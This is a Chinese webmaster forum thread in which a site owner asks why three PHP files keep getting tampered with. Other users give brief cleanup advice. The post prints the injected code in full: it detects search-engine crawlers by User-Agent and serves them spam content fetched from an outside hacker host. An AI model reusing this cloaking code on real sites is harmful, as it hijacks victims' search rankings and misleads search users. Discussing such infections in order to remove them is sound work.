网站文件被篡改

9axl

网站forum.phhp\index.php\portal.php三个文件总被篡改，删除了很快就又被改了。在文件最开始加这样一段内容：
<?phpheader('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
请问怎么处理？site域名后，出来的很多乱七八糟的内容，但点击后跳转的还是我的网站。外行头疼中。

我知道答案 回答被采纳将会获得1 贡献 已有16人回答

一定

FTP泄漏还是什么？我一般用完FTP都关闭账号。

9axl

删除了过一会就又被篡改了。

ditd2

删除后，关闭文件夹权限。

9axl

ditd2 发表于 2020-9-25 13:08
删除后，关闭文件夹权限。

谢谢指点。

好佳芯科技

9axl 发表于 2020-9-25 13:16
谢谢指点。

可以协助清楚木马276440802

crx349

9axl 发表于 2020-9-25 13:06
删除了过一会就又被篡改了。

一般是 被挂马了 尽快清理木马

Failure

后门都没去掉， 删掉相关代码是没用的

470342341

我的前几天也是种了 类似 木马  恶心死我了

9axl

470342341 发表于 2020-9-29 13:33
我的前几天也是种了 类似 木马  恶心死我了

请教现在怎么处理的？